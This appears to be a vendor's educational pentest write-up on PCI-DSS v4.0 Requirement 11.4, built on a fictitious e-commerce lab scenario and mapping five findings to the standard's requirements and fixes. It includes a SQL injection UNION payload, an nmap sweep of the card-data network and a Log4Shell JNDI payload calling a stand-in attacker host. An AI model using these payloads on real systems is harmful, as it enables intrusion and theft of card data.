Pentest PCI-DSS v4.0: Requirement 11.4, ASV Scan and the Evidence the QSA Demands

Category: PCI-DSS v4.0 Compliance | Pentest | E-commerce Level: Intermediate Environment: Controlled laboratory — fully anonymized scenario, no real client data

---

Introduction

The PCI-DSS (Payment Card Industry Data Security Standard) is, in practice, the passport for any company that processes credit and debit cards in Brazil — and worldwide. Acquirers, sub-acquirers and payment orchestrators demand evidence of compliance, and those who fail to provide it risk losing the right to process payments.

Version v4.0 of the standard came into force on March 31, 2024 (when v3.2.1 was retired), and the new requirements — the so-called future-dated ones — became mandatory on March 31, 2025. Anyone still operating on the old standard has been out of compliance for over a year.

Among the 12 PCI-DSS requirements, one is directly the responsibility of those who perform security testing: Requirement 11, which demands periodic security testing of systems and networks. And within it, 11.4 — penetration testing — is the point that raises the most doubts among Brazilian e-commerces:

• Is the quarterly ASV scan (Req. 11.3.2) enough?
• What exactly does the Req. 11.4 PCI pentest need to cover?
• What does the QSA (Qualified Security Assessor) accept as evidence?

This article documents a laboratory scenario that answers these three questions: a fictitious e-commerce that passed the ASV for four consecutive quarters and, even so, failed its audit — because nobody had tested the application the way an attacker would.

---

The Scenario

Picture a mid-sized consumer electronics e-commerce — let's call it "VendaJá" (fictitious name). The store processes cards on its own checkout (without redirecting to a third-party gateway), which places the checkout, the orders API and the database inside the CDE — the Cardholder Data Environment, the environment that holds card data.

According to internal documentation:

"Our card data environment is isolated and monitored. We run quarterly ASV scans and have maintained PCI compliance since 2022."

The ASV scan, indeed, came back clean quarter after quarter. But at the revalidation audit, the QSA asked for something the scan does not deliver: the annual CDE pentest report (Req. 11.4.3/11.4.2) and the test of segregation controls (Req. 11.4.5). The company had never performed a pentest — "the scan already covers that", said the IT director.

Technology stack observed during recon:

• Storefront and admin panel: PHP web application on nginx
• Orders API: REST service (Node.js) consumed by the checkout
• Payment processing: Java service (Spring Boot) triggered by the checkout — where Apache Log4j 2 runs
• Database: PostgreSQL (orders, customers and card data)
• WAF: present only on the store's main domain
• Monitoring: basic log agents, IDS/IPS not found

The first warning sign: the internal card data security policy existed as a PDF — but access to the admin panel, the API and the database followed no corresponding technical control. It was paper compliance.

---

What PCI-DSS v4.0 really requires

Before showing the findings, here is the map of relevant requirements (aligned with the compliance mapping of the Intrus Conformidade offering):

The key point for e-commerces: ASV scan and pentest are different obligations, with different scopes. The ASV is an automated, external scan focused on infrastructure — ports, services and known CVEs. The Req. 11.4 pentest is a manual, methodological test covering application logic, authentication, authorization, WAF bypass and network segregation. The QSA needs both.

---

Reconnaissance Phase

The work began by mapping VendaJá's external surface. The declared scope: the CDE (checkout, orders API, admin panel and database network) and the segregation controls.

www.vendaja.example        → store application (public domain)
checkout.vendaja.example   → checkout / card processing
api.vendaja.example        → orders API
admin.vendaja.example      → admin panel (not indexed by Google, no robots)

Two recon observations already pointed the way:

1. The WAF only protects www. Requests to checkout, api and admin went straight to the origin IPs — historical DNS records revealed the real server IP behind the WAF.
2. The admin panel responds on the internet with its own login page — no visible network restriction.

The segregation test, in turn, would start from the administrative network (outside the CDE, according to the internal diagram): if CDE services were reachable from there, the segmentation control had failed.

---

Findings

Failure 1 — SQL Injection in the order search: CDE database dump

The admin panel had an order search by number. The parameter was interpolated directly into the query:

-- Vulnerable pseudocode — direct parameter interpolation
SELECT * FROM pedidos WHERE numero_pedido = '$busca'

A simple payload confirmed the injection and revealed database columns:

GET /admin/pedidos?busca=1' UNION SELECT column_name,1,1,1 FROM information_schema.columns WHERE table_name='pedidos'-- HTTP/1.1
Host: admin.vendaja.example
Cookie: session=...

Response: HTTP 200 with the column names — including pan, validade, nome_titular and cvv. The worst finding: the database stored the full card number in plain text, and also the CVV — something PCI-DSS expressly prohibits (Req. 3.3.1: the CVV — sensitive authentication data — cannot be stored after authorization; Req. 3.5.1: the PAN must be rendered unreadable wherever it is stored).

With a second payload (UNION over the orders table), the test demonstrated the reading of real records in the lab:

numero_pedido | pan            | validade | nome_titular
VL-2026-04821 | 4539**********| 09/28    | Cliente Teste (dados fictícios)

The fix is standard and mandatory: prepared statements / parameterized queries in every query, without exception:

// Fixed pseudocode — prepared statement
$stmt = $pdo->prepare("SELECT * FROM pedidos WHERE numero_pedido = ?");
$stmt->execute([$busca]);

And in the database: tokenization or strong encryption of the PAN (applying Req. 3.5.1), immediate elimination of the stored CVV and masking on any screen (Req. 3.4.1).

Failure 2 — Admin panel with default credential: the CDE master key

The panel's login page accepted the system's default credentials (admin / factory default password, listed in the product manual). No MFA, no lockout after failed attempts, no IP restriction. In MITRE ATT&CK, this is T1078.001 (Default Accounts).

With administrator access, the test demonstrated (in a laboratory environment, with fictitious data):

• Listing of all orders, including PAN and CVV in clear text;
• Creation of an additional administrative user (persistence);
• Disabling the application's audit log.

PCI-DSS requires, in Req. 2.2.2, the removal/disablement of default accounts and passwords (vendor defaults) — and, in Req. 8.4.2, MFA for all CDE access, including administrative staff. The fixes:

1. Immediate change of all default credentials and review of orphan accounts;
2. Mandatory MFA (TOTP/hardware) for all panel access;
3. Origin restriction (VPN/administrative network + IP allowlist) for the panel;
4. Lockout policy after invalid attempts and login auditing.

Failure 3 — WAF missing on CDE applications and bypass via origin IP

The WAF existed, but only in front of www. Quarter after quarter, the ASV scan scanned exactly that IP — the WAF's — and came back "clean". The CDE applications (checkout, api, admin) answered directly on the origin IP, with no layer-7 protection at all.

In practice, the test confirmed:

• Direct requests to the origin IP with Host: admin.vendaja.example worked normally (WAF bypass);
• Classic attack payloads (XSS, SQLi, path traversal) reached the application intact — there was no filter at all;
• The panel and the API had neither virtual patching nor rate limiting.

Req. 6.4.1 (public web applications protected against known attacks — WAF or manual/automated review) was already required in v4.0 since publication; Req. 6.4.2 (automated solution to detect/prevent web attacks — the WAF) was future-dated — and became mandatory on 31/03/2025. Fix:

• Managed WAF in front of all public applications, with custom rules (virtual patching) for the known flaws;
• Block direct access to the origin IP (the WAF must be the only path);
• Rate limiting and security event alerts on the WAF.

Failure 4 — Broken CDE segregation: database reachable from the administrative network

The segregation test (Req. 11.4.5) started from a workstation on the administrative network — nominally outside the CDE — and tried to reach CDE services:

nmap -sT -Pn -p 5432,443,22 10.20.0.0/24   # CDE network, from the administrative network

Response: port 5432 (PostgreSQL) open on the CDE database server, reachable from the administrative network with no control in the path. The firewall rule that should separate the segments had been disabled for months — nobody noticed, because nobody was testing.

This means that malware or an attacker with access to any administrative machine (phishing, USB drive, stolen VPN) would reach the card database without crossing any control. PCI-DSS requires the CDE to be isolated by effective segregation controls — and the segregation test is exactly what proves they work.

Fixes:

• Reactivation and review of firewall rules between segments (deny by default, allow by exception);
• Microsegmentation: CDE database reachable only by specific application hosts and a specific port;
• Monitoring of connection attempts between segments (feeds Req. 11.5);
• Annual segregation retest (Req. 11.4.5), as Req. 11.4 mandates — semiannual only for service providers (11.4.6).

Failure 5 — Outdated component with known CVE: demonstrated RCE

The internal version scan found, in the Java processing service, the logging library Apache Log4j 2 with Log4Shell (CVE-2021-44228) — a remote code execution (RCE) vulnerability known since December 2021. The external ASV did not detect it because the scan was scoped to the WAF IP (www) — the CDE applications were outside the scan's declared scope; the internal application test found it in minutes.

In the lab, the exploitation demonstrated command execution on the application server — which, remember from Failure 4, was in the same segment as the CDE database:

# Illustrative pseudocode — Log4Shell JNDI payload (CVE-2021-44228)
${jndi:ldap://atacante.example/exploit}

In MITRE ATT&CK: T1190 (Exploit Public-Facing Application). PCI-DSS answers in Req. 6.3.3: security patches — critical within 1 month of release; others per the targeted risk analysis. The fix goes beyond the patch:

• Immediate update of the vulnerable library;
• Component inventory (SBOM) of all CDE applications, so no outdated dependency goes unnoticed;
• Feeding the continuous process of Req. 6.3.1 (monthly scanning + triage + SLA).

---

The Full Chain

None of the five failures, in isolation, takes down an e-commerce. Together, they form the path a real attacker would take:

1. Failure 3 opens the door — with no WAF in front of admin/api/checkout and the origin IP exposed, the attacker attacks the application directly;
2. Failure 2 hands over the key — default credential on the panel = administrative access to the CDE (T1078.001);
3. Failure 1 empties the vault — with panel access, the SQL Injection becomes a database dump: PAN, expiry date and even CVV in clear text (direct violation of Reqs. 3.3.1 and 3.5.1);
4. Failure 4 removes the walls — the broken segregation lets any administrative-network access reach the CDE database;
5. Failure 5 automates the rest — Log4Shell (T1190) delivers RCE on the application server, in the same segment as the database.

The result: ~180,000 customer card numbers, including CVV, accessible with no real barrier — and a PCI audit that would fail Reqs. 3, 6, 8 and 11 simultaneously.

This chaining is the fundamental difference between scanning and pentesting: the tool validates isolated controls; the pentester models the attacker's path end to end.

---

Why Did the Quarterly ASV Scan Find Nothing?

VendaJá's ASV came back clean for four quarters. It wasn't the scanner's incompetence — it was scope:

• It scans infrastructure, not the application. The ASV tests ports, services and known CVEs on the declared IP. It does not execute business logic, does not test authentication, does not attempt SQL Injection on application parameters;
• It scans the wrong IP. With the WAF in front of www, the scan validated the WAF — while the CDE applications answered directly on the origin IP, outside the scan;
• It does not test segregation. The ASV is external by definition; the Req. 11.4.5 test starts from inside the network (and from outside, validating controls);
• It does not see logic and authorization. Default credential on the panel, excessive permissions, missing MFA, stored CVV: none of that is an "open port" or a "known CVE" — it is what the manual test finds;
• Cadence is not coverage. Four scans a year do not replace an annual methodological test — they are complementary obligations of the same Requirement 11.

The practical conclusion: clean ASV ≠ secure environment. The ASV answers the question "are there known vulnerabilities on my external surface?". The pentest answers "can an attacker reach the card data — and by which path?". The QSA knows the difference — and that is exactly what Req. 11.4 verifies.

---

What the QSA Accepts as Evidence

For an e-commerce in the PCI compliance process — the decision stage of this purchase — the practical question is: what do you present to the QSA?

1. Documented CDE scope. Network diagram, inventory of systems in the CDE and list of card data flows. Without this, no test is accepted as evidence;
2. Complete pentest report (Req. 11.4.3/11.4.2). Methodology, scope, test period, risk classification (CVSS), findings with evidence (screenshots with date/time), impact and remediation plan;
3. Segregation test (Req. 11.4.5). Annual (semiannual only for service providers), with result and evidence of the tested controls;
4. Retest / remediation validation. Findings fixed and revalidated — the QSA verifies that remediation happened, not just that it was promised;
5. Finding → requirement mapping matrix. Each finding linked to the corresponding PCI-DSS requirement (Intrus Conformidade add-on format);
6. Signed engagement letter. Documents scope, dates and test authorization — used by the QSA to validate that the test was real;
7. Quarterly ASV reports (Req. 11.3.2) with evidence of resolution of the flagged failures;
8. Window alignment. The annual pentest must cover the same period as the QSA's assessment — a test done in December does not cover a March audit.

---

Impact Analysis

In a real environment, the five failures would have the following impact:

Beyond PCI itself: card data are personal data — the LGPD requires technical measures appropriate to the risk (Art. 46), incident communication to the ANPD and to data subjects (Art. 48) and provides for sanctions of up to 2% of revenue, capped at R$ 50 million (Art. 52). Not to mention card brand fines for non-compliance (in the range of USD 5,000–100,000/month) and the commercial risk of the acquirer suspending card processing.

---

Root Cause

The five failures share one root cause: VendaJá treated PCI-DSS as a form-filling project, not as a continuous process — and nobody tested the attacker's path.

In detail:

1. Paper compliance — the card security policy existed as a PDF; the corresponding technical controls, no;
2. Clean ASV = "we are safe" — the mandatory scan became a substitute for testing, when it is a complement;
3. No vulnerability management program — Req. 6.3.1 required a continuous process; there were sporadic scans with no triage;
4. No inventory — no SBOM, no component list; the library with Log4Shell went years without anyone noticing;
5. Segregation presumed, never tested — the firewall "separated" the CDE on the diagram; nobody validated the rules.

None of the failures is exotic. They all appear in e-commerces that contracted the ASV, bought the self-declared compliance certificate — and never ran a pentest on the CDE.

---

Recommended Remediation

1. Continuous vulnerability management program (Req. 6.3.1)

Monthly scanning (internal and external) with triage and SLA by severity, fed by asset inventory and SBOM. Critical vulnerability handled in days, not quarters.

2. Patches with SLA (Req. 6.3.3)

Patch process: critical within 30 days of release; others per the targeted risk analysis (12.3.1). Component inventory (SBOM) across all CDE applications.

3. WAF on all public applications (Req. 6.4.1/6.4.2)

Managed WAF in front of storefront, checkout, API and panel, with virtual patching and automated detection of application attacks. Origin IP not directly reachable.

4. Complete testing cycle (Reqs. 11.3/11.4)

• Quarterly: external ASV scan (11.3.2);
• Annual: external pentest (11.4.3) + internal pentest (11.4.2) of the CDE, and after significant changes;
• Annual: segregation test (11.4.5; semiannual only for service providers — 11.4.6);
• Retest of all fixed findings, with evidence.

5. MFA and credentials (Reqs. 2.2.2/8.4.2)

Elimination of default accounts and passwords, MFA on all CDE access, origin restriction for admin panels and attempt lockout policy.

6. IDS/IPS with response (Req. 11.5)

Intrusion detection on the CDE network with operational alerts — fed by monitoring of connections between segments.

7. Organized evidence for the QSA (Reqs. 12.3.1/12.3.2)

Documented CDE scope, finding → requirement mapping matrix, reports with retest and engagement letter — plus the documented targeted risk analysis (12.3.1) and, when applicable, for customized approach (12.3.2). That is what turns testing into auditable compliance.

---

Conclusion

VendaJá found out the hard way what Req. 11.4 tries to prevent: PCI compliance is not a seal, it is evidence of a continuous process — and the QSA wants testing, not promises.

The quarterly ASV passed four times. The annual pentest found a direct path to 180,000 card numbers in one week of work: a default credential, a SQL Injection, a WAF that only protected the wrong domain, a firewall that separated two segments only on the diagram and a 2021 library running in production.

The difference between "paper compliance" and real compliance is not more expensive — it is more honest: test the attacker's path, every year, with evidence, and fix what the test finds. That is exactly what PCI Requirement 11.4 demands of every e-commerce that processes cards — and it is what separates a smooth audit from a failure with a remediation deadline.

---

This article describes a fully fictitious laboratory scenario, built for educational purposes. No real client data was used. Exploiting vulnerabilities in systems without explicit authorization is illegal.

Want to know whether your CDE would pass a pentest along the lines of PCI-DSS v4.0 Requirement 11.4? intrus.io's service combines an annual pentest (web, API and network) with the Intrus Conformidade add-on — a report formatted for QSA submission, with a per-requirement mapping matrix. We are at your disposal.